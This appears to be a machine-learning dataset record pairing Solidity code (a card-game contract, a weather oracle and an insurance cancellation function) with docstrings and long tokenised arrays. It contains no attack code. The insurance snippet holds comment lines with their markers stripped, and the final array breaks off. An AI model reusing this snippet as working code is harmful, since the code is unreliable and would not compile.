// Slightly complex things by accounting for days/snapshots when user made no tx's
uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i];
bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i];
}
if (jadeProductionSnapshots[msg.sender][endSnapShot] == 0 && !jadeProductionZeroedSnapshots[msg.sender][endSnapShot] && previousProduction > 0) {
jadeProductionSnapshots[msg.sender][endSnapShot] = previousProduction; // Checkpoint for next claim
}
lastJadeResearchFundClaim[msg.sender] = endSnapShot + 1;
uint256 referalDivs;
if (referer != address(0) && referer != msg.sender) {
referalDivs = researchShare / 100; // 1%
coinBalance[referer][1] += referalDivs;
ReferalGain(referer, msg.sender, referalDivs);
}
coinBalance[msg.sender][1] += SafeMath.sub(researchShare,referalDivs);
}
// Allocate pot divs for the day (00:00 cron job)
function snapshotDailyGooResearchFunding() external onlyAdmin {
uint256 todaysGooResearchFund = (totalEtherPool[1] * researchDivPercent) / 100; // 10% of pool daily
totalEtherPool[1] -= todaysGooResearchFund;
totalJadeProductionSnapshots.push(totalJadeProduction);
allocatedJadeResearchSnapshots.push(todaysGooResearchFund);
nextSnapshotTime = block.timestamp + 24 hours;
}
}
interface GameConfigInterface {
function productionCardIdRange() external constant returns (uint256, uint256);
function battleCardIdRange() external constant returns (uint256, uint256);
function upgradeIdRange() external constant returns (uint256, uint256);
function unitCoinProduction(uint256 cardId) external constant returns (uint256);
function unitAttack(uint256 cardId) external constant returns (uint256);
function unitDefense(uint256 cardId) external constant returns (uint256);
function unitStealingCapacity(uint256 cardId) external constant returns (uint256);
}
contract CardsBase is JadeCoin {
function CardsBase() public {
setAdminContract(msg.sender,true);
setActionContract(msg.sender,true);
}
// player
struct Player {
address owneraddress;
}
Player[] players;
bool gameStarted;
GameConfigInterface public schema;
// Stuff owned by each player
mapping(address => mapping(uint256 => uint256)) public unitsOwned; //number of normal card
mapping(address => mapping(uint256 => uint256)) public upgradesOwned; //Lv of upgrade card
mapping(address => uint256) public uintsOwnerCount; // total number of cards
mapping(address=> mapping(uint256 => uint256)) public uintProduction; //card's production
// Rares & Upgrades (Increase unit's production / attack etc.)
mapping(address => mapping(uint256 => uint256)) public unitCoinProductionIncreases; // Adds to the coin per second
mapping(address => mapping(uint256 => uint256)) public unitCoinProductionMultiplier; // Multiplies the coin per second
mapping(address => mapping(uint256 => uint256)) public unitAttackIncreases;
mapping(address => mapping(uint256 => uint256)) public unitAttackMultiplier;
mapping(address => mapping(uint256 => uint256)) public unitDefenseIncreases;
mapping(address => mapping(uint256 => uint256)) public unitDefenseMultiplier;
mapping(address => mapping(uint256 => uint256)) public unitJadeStealingIncreases;
mapping(address => mapping(uint256 => uint256)) public unitJadeStealingMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitMaxCap; // external cap
//setting configuration
function setConfigAddress(address _address) external onlyOwner {
schema = GameConfigInterface(_address);
}
/// start game
function beginGame(uint256 firstDivsTime) external payable onlyOwner {
require(!gameStarted);
gameStarted = true;
nextSnapshotTime = firstDivsTime;
totalEtherPool[1] = msg.value; // Seed pot
}
function endGame() external payable onlyOwner {
require(gameStarted);
gameStarted = false;
}
function getGameStarted() external constant returns (bool) {
return gameStarted;
}
function AddPlayers(address _address) external onlyAccess {
Player memory _player= Player({
owneraddress: _address
});
players.push(_player);
}
/// @notice ranking of production
/// @notice rainysiu
function getRanking() external view returns (address[], uint256[],uint256[]) {
uint256 len = players.length;
uint256[] memory arr = new uint256[](len);
address[] memory arr_addr = new address[](len);
uint256[] memory arr_def = new uint256[](len);
uint counter =0;
for (uint k=0;k<len; k++){
arr[counter] = getJadeProduction(players[k].owneraddress);
arr_addr[counter] = players[k].owneraddress;
(,arr_def[counter],,) = getPlayersBattleStats(players[k].owneraddress);
counter++;
}
for(uint i=0;i<len-1;i++) {
for(uint j=0;j<len-i-1;j++) {
if(arr[j]<arr[j+1]) {
uint256 temp = arr[j];
address temp_addr = arr_addr[j];
uint256 temp_def = arr_def[j];
arr[j] = arr[j+1];
arr[j+1] = temp;
arr_addr[j] = arr_addr[j+1];
arr_addr[j+1] = temp_addr;
arr_def[j] = arr_def[j+1];
arr_def[j+1] = temp_def;
}
}
}
return (arr_addr,arr,arr_def);
}
//total users
function getTotalUsers() external view returns (uint256) {
return players.length;
}
function getMaxCap(address _addr,uint256 _cardId) external view returns (uint256) {
return unitMaxCap[_addr][_cardId];
}
/// UnitsProuction
function getUnitsProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256) {
return (amount * (schema.unitCoinProduction(unitId) + unitCoinProductionIncreases[player][unitId]) * (10 + unitCoinProductionMultiplier[player][unitId]));
}
/// one card's production
function getUnitsInProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256) {
return SafeMath.div(SafeMath.mul(amount,uintProduction[player][unitId]),unitsOwned[player][unitId]);
}
/// UnitsAttack
function getUnitsAttack(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitAttack(unitId) + unitAttackIncreases[player][unitId]) * (10 + unitAttackMultiplier[player][unitId])) / 10;
}
/// UnitsDefense
function getUnitsDefense(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitDefense(unitId) + unitDefenseIncreases[player][unitId]) * (10 + unitDefenseMultiplier[player][unitId])) / 10;
}
/// UnitsStealingCapacity
function getUnitsStealingCapacity(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitStealingCapacity(unitId) + unitJadeStealingIncreases[player][unitId]) * (10 + unitJadeStealingMultiplier[player][unitId])) / 10;
}
// player's attacking & defending & stealing & battle power
function getPlayersBattleStats(address player) public constant returns (
uint256 attackingPower,
uint256 defendingPower,
uint256 stealingPower,
uint256 battlePower) {
uint256 startId;
uint256 endId;
(startId, endId) = schema.battleCardIdRange();
// Not ideal but will only be a small number of units (and saves gas when buying units)
while (startId <= endId) {
attackingPower = SafeMath.add(attackingPower,getUnitsAttack(player, startId, unitsOwned[player][startId]));
stealingPower = SafeMath.add(stealingPower,getUnitsStealingCapacity(player, startId, unitsOwned[player][startId]));
defendingPower = SafeMath.add(defendingPower,getUnitsDefense(player, startId, unitsOwned[player][startId]));
battlePower = SafeMath.add(attackingPower,defendingPower);
startId++;
}
}
// @nitice number of normal card
function getOwnedCount(address player, uint256 cardId) external view returns (uint256) {
return unitsOwned[player][cardId];
}
function setOwnedCount(address player, uint256 cardId, uint256 amount, bool iflag) external onlyAccess {
if (iflag) {
unitsOwned[player][cardId] = SafeMath.add(unitsOwned[player][cardId],amount);
} else if (!iflag) {
unitsOwned[player][cardId] = SafeMath.sub(unitsOwned[player][cardId],amount);
}
}
// @notice Lv of upgrade card
function getUpgradesOwned(address player, uint256 upgradeId) external view returns (uint256) {
return upgradesOwned[player][upgradeId];
}
//set upgrade
function setUpgradesOwned(address player, uint256 upgradeId) external onlyAccess {
upgradesOwned[player][upgradeId] = SafeMath.add(upgradesOwned[player][upgradeId],1);
}
function getUintsOwnerCount(address _address) external view returns (uint256) {
return uintsOwnerCount[_address];
}
function setUintsOwnerCount(address _address, uint256 amount, bool iflag) external onlyAccess {
if (iflag) {
uintsOwnerCount[_address] = SafeMath.add(uintsOwnerCount[_address],amount);
} else if (!iflag) {
uintsOwnerCount[_address] = SafeMath.sub(uintsOwnerCount[_address],amount);
}
}
function getUnitCoinProductionIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitCoinProductionIncreases[_address][cardId];
}
function setUnitCoinProductionIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitCoinProductionIncreases[_address][cardId] = SafeMath.add(unitCoinProductionIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitCoinProductionIncreases[_address][cardId] = SafeMath.sub(unitCoinProductionIncreases[_address][cardId],iValue);
}
}
function getUnitCoinProductionMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitCoinProductionMultiplier[_address][cardId];
}
function setUnitCoinProductionMultiplier(address _address, uint256 cardId, uint256 iValue, bool iflag) external onlyAccess {
if (iflag) {
unitCoinProductionMultiplier[_address][cardId] = SafeMath.add(unitCoinProductionMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitCoinProductionMultiplier[_address][cardId] = SafeMath.sub(unitCoinProductionMultiplier[_address][cardId],iValue);
}
}
function setUnitAttackIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitAttackIncreases[_address][cardId] = SafeMath.add(unitAttackIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitAttackIncreases[_address][cardId] = SafeMath.sub(unitAttackIncreases[_address][cardId],iValue);
}
}
function getUnitAttackIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitAttackIncreases[_address][cardId];
}
function setUnitAttackMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitAttackMultiplier[_address][cardId] = SafeMath.add(unitAttackMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitAttackMultiplier[_address][cardId] = SafeMath.sub(unitAttackMultiplier[_address][cardId],iValue);
}
}
function getUnitAttackMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitAttackMultiplier[_address][cardId];
}
function setUnitDefenseIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitDefenseIncreases[_address][cardId] = SafeMath.add(unitDefenseIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitDefenseIncreases[_address][cardId] = SafeMath.sub(unitDefenseIncreases[_address][cardId],iValue);
}
}
function getUnitDefenseIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitDefenseIncreases[_address][cardId];
}
function setunitDefenseMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitDefenseMultiplier[_address][cardId] = SafeMath.add(unitDefenseMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitDefenseMultiplier[_address][cardId] = SafeMath.sub(unitDefenseMultiplier[_address][cardId],iValue);
}
}
function getUnitDefenseMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitDefenseMultiplier[_address][cardId];
}
function setUnitJadeStealingIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitJadeStealingIncreases[_address][cardId] = SafeMath.add(unitJadeStealingIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitJadeStealingIncreases[_address][cardId] = SafeMath.sub(unitJadeStealingIncreases[_address][cardId],iValue);
}
}
function getUnitJadeStealingIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitJadeStealingIncreases[_address][cardId];
}
function setUnitJadeStealingMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitJadeStealingMultiplier[_address][cardId] = SafeMath.add(unitJadeStealingMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitJadeStealingMultiplier[_address][cardId] = SafeMath.sub(unitJadeStealingMultiplier[_address][cardId],iValue);
}
}
function getUnitJadeStealingMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitJadeStealingMultiplier[_address][cardId];
}
function setUintCoinProduction(address _address, uint256 cardId, uint256 iValue, bool iflag) external onlyAccess {
if (iflag) {
uintProduction[_address][cardId] = SafeMath.add(uintProduction[_address][cardId],iValue);
} else if (!iflag) {
uintProduction[_address][cardId] = SafeMath.sub(uintProduction[_address][cardId],iValue);
}
}
function getUintCoinProduction(address _address, uint256 cardId) external view returns (uint256) {
return uintProduction[_address][cardId];
}
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external onlyAccess {
uint256 productionGain;
if (upgradeClass == 0) {
unitCoinProductionIncreases[player][unitId] += upgradeValue;
productionGain = unitsOwned[player][unitId] * upgradeValue * (10 + unitCoinProductionMultiplier[player][unitId]);
increasePlayersJadeProduction(player, productionGain);
} else if (upgradeClass == 1) {
unitCoinProductionMultiplier[player][unitId] += upgradeValue;
productionGain = unitsOwned[player][unitId] * upgradeValue * (schema.unitCoinProduction(unitId) + unitCoinProductionIncreases[player][unitId]);
increasePlayersJadeProduction(player, productionGain);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 6) {
unitJadeStealingIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 7) {
unitJadeStealingMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 8) {
unitMaxCap[player][unitId] = upgradeValue; // Housing upgrade (new capacity)
}
}
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external onlyAccess {
uint256 productionLoss;
if (upgradeClass == 0) {
unitCoinProductionIncreases[player][unitId] -= upgradeValue;
productionLoss = unitsOwned[player][unitId] * upgradeValue * (10 + unitCoinProductionMultiplier[player][unitId]);
reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 1) {
unitCoinProductionMultiplier[player][unitId] -= upgradeValue;
productionLoss = unitsOwned[player][unitId] * upgradeValue * (schema.unitCoinProduction(unitId) + unitCoinProductionIncreases[player][unitId]);
reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 6) {
unitJadeStealingIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 7) {
unitJadeStealingMultiplier[player][unitId] -= upgradeValue;
}
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | update player's jade balance | function updatePlayersCoin(address player) internal {
uint256 coinGain = balanceOfUnclaimed(player);
lastJadeSaveTime[player] = block.timestamp;
roughSupply = SafeMath.add(roughSupply,coinGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain);
}
| 2,184,744 | [
1,
2725,
7291,
10,
5520,
31,
87,
525,
2486,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
1089,
1749,
3907,
27055,
12,
2867,
7291,
13,
2713,
288,
203,
565,
2254,
5034,
13170,
43,
530,
273,
11013,
951,
984,
14784,
329,
12,
14872,
1769,
203,
565,
1142,
46,
2486,
4755,
950,
63,
14872,
65,
273,
1203,
18,
5508,
31,
203,
565,
23909,
3088,
1283,
273,
14060,
10477,
18,
1289,
12,
2642,
3088,
1283,
16,
12645,
43,
530,
1769,
21281,
565,
525,
2486,
13937,
63,
14872,
65,
273,
14060,
10477,
18,
1289,
12,
78,
2486,
13937,
63,
14872,
6487,
12645,
43,
530,
1769,
21281,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.21;
pragma experimental ABIEncoderV2;
// Interface that can be implemented to receive delegates when the total precipitation is computed.
interface WeatherOracleInterface{
function onTotalPrecipitationComputed(uint64 totalPrecipitation) external;
}
contract WeatherOracle{
// Event to which the WeatherOracle dapp will respon when the total precipitation is computed.
event OnTotalPrecipitationRequested(int64 longitude, int64 latitude, uint startTime, uint endTime, WeatherOracleInterface delegate);
// The weather oracle owner
address owner = msg.sender;
// We store a list of temperatures that are produced by the WeatherOracle dapp. Todo: this is not very efficient.
struct Temperature{
int8 value;
bool isSet;
}
mapping(uint => Temperature) temperatures;
// Modifier: allow only the WeatherOracle owner to execute.
modifier ownerOnly(){
require(msg.sender == owner, "Sender not authorized.");
_;
}
// The weather dapp has produced a new temperature, so we store it in our mapping.
function storeTemperature(uint time, int8 temperature) ownerOnly external{
Temperature memory data;
data.value = temperature;
data.isSet = true;
temperatures[time] = data;
}
// Computes the average temperature over a timespan.
function computeAverageTemperature(uint startTime, uint endTime) external view returns(int64){
require(endTime > startTime);
int64 total = 0;
int64 count = 0;
for (uint i = startTime; i < endTime; i++){
if (!temperatures[i].isSet){
continue; // Todo: this is not very efficient.
}
total += temperatures[i].value;
count++;
}
if (count == 0){
return -10000;
}
//require(count != 0);
return total / count;
}
// Request the total precipitation at the specified geographical coordinates during a timespan
function requestTotalPrecipitation(int64 longitude, int64 latitude, uint startTime, uint endTime, WeatherOracleInterface delegate) external{
require(endTime > startTime);
require(delegate != WeatherOracleInterface(0));
emit OnTotalPrecipitationRequested(longitude, latitude, startTime, endTime, delegate);
}
// Notification that a precipitation request has been computed.
function totalPrecipitationComputed(uint64 totalPrecipitation, WeatherOracleInterface delegate) ownerOnly external{
delegate.onTotalPrecipitationComputed(totalPrecipitation);
}
} | Notification that a precipitation request has been computed. | function totalPrecipitationComputed(uint64 totalPrecipitation, WeatherOracleInterface delegate) ownerOnly external{
delegate.onTotalPrecipitationComputed(totalPrecipitation);
}
| 12,827,997 | [
1,
4386,
716,
279,
675,
3449,
8773,
590,
711,
2118,
8470,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
2078,
1386,
3449,
8773,
17934,
12,
11890,
1105,
2078,
1386,
3449,
8773,
16,
1660,
4806,
23601,
1358,
7152,
13,
3410,
3386,
3903,
95,
203,
202,
202,
22216,
18,
265,
5269,
1386,
3449,
8773,
17934,
12,
4963,
1386,
3449,
8773,
1769,
203,
202,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0xcFDaa7F44a9aDadAB78c3ecC8Ad65C23cbC109AC/sources/project_/contracts/Product020802V01.sol | Termination.WithdrawalDuringCoolingOffPeriod_NotApplicable// Termination.WithdrawalByPolicyHolder_NonRenewed Termination.WithdrawalByPolicyHolder_CancellationAfterFirstYear Termination.WithdrawalByPolicyHolder_AutomaticTermination Termination.WithdrawalByPolicyHolder_InsurerLicenceWithdrawal Termination.TechnicalCancellation_NotApplicable | function cancelPolicy(
string memory onChainPolicyId,
uint256 termination,
uint256 dateOfNotice,
bool hasNoClaim
) external onlyPartnerOrWakam(allPolicies[onChainPolicyId].partnershipCodeHash) {
require(isPolicyExists[onChainPolicyId], "policy does not exist");
Product020802Lib.Policy storage policy = allPolicies[onChainPolicyId];
require(
"policy is not active"
);
int256 dateOfNoticeComparedToToday = dateOfNotice.dailyCompareTo(block.timestamp);
require(
dateOfNoticeComparedToToday == -1 || dateOfNoticeComparedToToday == 0,
"date of notice cannot be in the past"
);
int256 dateOfNoticeComparedToSubscriptionDate = dateOfNotice.dailyCompareTo(policy.subscriptionDate);
require(
dateOfNoticeComparedToSubscriptionDate == 1 || dateOfNoticeComparedToSubscriptionDate == 0,
"policy is not underwritten"
);
if (termination == 1) {
require(hasNoClaim, "impossible to withdraw with claims");
int256 subscriptionDatePlus14DaysComparedToDateOfNotice = (policy.subscriptionDate + 14 days)
.dailyCompareTo(dateOfNotice);
require(
subscriptionDatePlus14DaysComparedToDateOfNotice == 1 ||
subscriptionDatePlus14DaysComparedToDateOfNotice == 0,
"impossible to withdraw after 14 days"
);
if (dateOfNoticeComparedToToday == 0) {
policy.operationEffectiveDate = block.timestamp;
policy.operationEffectiveDate = dateOfNotice.setDateAt23h59m59s(TIME_ZONE_OFFSET);
}
}
- Termination.WithdrawalByInsurer_Fraud
- Termination.WithdrawalByInsurer_UnpaidPremium
else if (termination == 2 || termination == 10 || termination == 12) {
policy.operationEffectiveDate = dateOfNotice.setDateAt23h59m59s(TIME_ZONE_OFFSET) + 10 days;
}
- Termination.WithdrawalByPolicyHolder_RequestedTerminationBecauseOfOtherContractCancellation
- Termination.WithdrawalByInsurer_TooManyClaims
else if (termination == 3 || termination == 5 || termination == 14) {
policy.operationEffectiveDate = dateOfNotice.setDateAt23h59m59s(TIME_ZONE_OFFSET) + 30 days;
}
else if (termination == 4) {
policy.operationEffectiveDate = policy.expirationDate.setDateAt23h59m59s(TIME_ZONE_OFFSET);
}
else if (termination == 6) {
require(policy.coverageStartDate + 365 days <= block.timestamp, "1 year of coverage required");
policy.operationEffectiveDate = dateOfNotice.setDateAt23h59m59s(TIME_ZONE_OFFSET) + 30 days;
}
else if (termination == 7) {
policy.operationEffectiveDate = dateOfNotice.setDateAt23h59m59s(TIME_ZONE_OFFSET);
}
else if (termination == 8) {
policy.operationEffectiveDate = dateOfNotice.setDateAtMidday(TIME_ZONE_OFFSET) + 40 days;
}
else if (termination == 16) {
require(wakamAddresses[msg.sender], "admin rights required");
policy.operationEffectiveDate = block.timestamp;
revert("termination invalid");
}
policy.termination = termination;
emit PolicyCancelled(
policy.onChainPolicyId,
policy.termination,
policy.operationType,
policy.operationEffectiveDate
);
}
| 5,564,729 | [
1,
16516,
18,
1190,
9446,
287,
26424,
39,
1371,
310,
7210,
5027,
67,
1248,
27873,
759,
6820,
1735,
18,
1190,
9446,
287,
858,
2582,
6064,
67,
3989,
24058,
329,
6820,
1735,
18,
1190,
9446,
287,
858,
2582,
6064,
67,
2568,
6857,
4436,
3759,
5593,
6820,
1735,
18,
1190,
9446,
287,
858,
2582,
6064,
67,
7150,
4941,
16516,
6820,
1735,
18,
1190,
9446,
287,
858,
2582,
6064,
67,
5048,
11278,
48,
335,
802,
1190,
9446,
287,
6820,
1735,
18,
56,
22528,
1706,
2568,
6857,
67,
1248,
27873,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
